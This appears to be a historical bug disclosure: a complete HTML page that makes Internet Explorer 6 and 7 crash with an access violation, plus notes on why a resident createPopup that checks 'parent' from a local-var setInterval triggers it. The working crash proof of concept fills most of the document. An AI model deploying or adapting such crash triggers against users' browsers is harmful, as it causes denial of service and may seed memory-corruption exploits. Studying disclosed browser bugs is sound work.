Creating a resident createPopup inside an IFRAME and then running a setInterval that checks parent causes an access violation after the user navigates away. The local var declaration inside the interval function is what triggers the crash — making the variable global avoids it entirely, which points to a specific handling issue with local scope resolution on a detached parent.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
<title>IE Crash via createPopup/parent Check</title></head>
<body>
<!-- This is the IFRAME where the createPopup is created -->
<iframe name="createPopup_Container"></iframe>
<script language="JavaScript">
// Now we write another IFRAME with any file (even a non-existant one) as the source.
// We won't do anything special with this IFRAME, it just has to be there so the createPopup is resident.
createPopup_Container.document.write('<iframe src="nofile.html" width="100" height="100"></iframe>');
createPopup_Container.document.close();
// If we do not append the .document to the createPopup the way we do it below, it won't be resident.
var myPop=createPopup_Container.createPopup().document;
// The "killer" is the next setInterval. The only thing that you can change is the name of the variable.
// If you remove the "var" and make the variable global, it won't crash.
myPop.body.innerHTML='.<script defer="defer">setInterval("var crashVariable=parent;",100);<\/script>';
// Now we "cache" the object document inside itself.
myPop.parentWindow.myPop=myPop;
/*
// This next code -in theory- is the same as above, but creating the popUp without the .document appended. Check out that
// "misteriously", it does not work.
var myPop=createPopup_Container.createPopup();
myPop.document.body.innerHTML='.<script defer="defer">setInterval("var crashVariable=parent;",100);<\/script>';
myPop.document.parentWindow.myPop=myPop.document;
*/
</script>
<br /><br />
<font face="Tahoma" size="2">
IE 6&7 Crash. We create a resident popUp inside an IFRAME and check (setInterval) for the parent. After we leave the
page, IE Crashes (Access Violation).<br />
Press the <INPUT TYPE="BUTTON" VALUE="Reload" ONCLICK="location.reload()"> button to crash the Browser.
</font>
</body>
</html>The popup must be created with .document appended in the same expression (createPopup().document) to make it resident — storing the popup and accessing its document in separate statements doesn’t work. Once the parent page navigates away, parent inside the popup refers to a destroyed frame. Accessing it with var (which involves scope-chain resolution) triggers the crash, while a global assignment apparently takes a different, safer code path.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.